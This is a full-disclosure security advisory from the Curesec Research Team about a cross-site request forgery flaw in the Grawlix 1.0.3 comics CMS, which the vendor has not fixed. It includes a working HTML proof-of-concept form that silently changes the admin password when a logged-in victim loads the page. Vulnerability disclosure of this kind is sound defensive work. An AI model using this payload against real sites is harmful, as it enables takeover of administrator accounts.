Grawlix 1.0.3 Cross Site Request Forgery
Posted on 25 December 2015
Security Advisory - Curesec Research Team 1. Introduction Affected Product: Grawlix 1.0.3 Fixed in: not fixed Fixed Version Link: n/a Vendor Website: http://www.getgrawlix.com/ Vulnerability Type: CSRF Remote Exploitable: Yes Reported to vendor: 11/17/2015 Disclosed to public: 12/21/2015 Release mode: Full Disclosure CVE: n/a Credits Tim Coen of Curesec GmbH 2. Overview CVSS Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P Description Grawlix is a CMS for publishing comics, which is written in PHP. In version 1.0.3, it does not have CSRF protection, which means that an attacker can perform actions for a victim, if the victim visits an attacker controlled site while logged in. An attacker can for example change the password of an existing admin account, which may in turn lead to code execution via a different vulnerability in the admin area. 3. Proof of Concept Change admin password: <html> <body> <form action="http://localhost/grawlix-1.0.3/grawlix-1.0.3/_admin/user.config.php" method="POST"> <input type="hidden" name="username[1]" value="admin" /> <input type="hidden" name="email[1]" value="admin@example.com" /> <input type="hidden" name="password[1]" value="admin" /> <input type="hidden" name="confirm_password[1]" value="admin" /> <input type="hidden" name="submit" value="save" /> <input type="submit" value="Submit request" /> </form> </body> </html> 4. Solution This issue was not fixed by the vendor. 5. Report Timeline 11/17/2015 Informed Vendor about Issue (no reply) 12/10/2015 Reminded Vendor of Disclosure Date (no reply) 12/21/2015 Disclosed to public Blog Reference: https://blog.curesec.com/article/blog/Grawlix-103-CSRF-128.html -- blog: https://blog.curesec.com tweet: https://twitter.com/curesec Curesec GmbH Curesec Research Team Romain-Rolland-Str 14-24 13089 Berlin, Germany
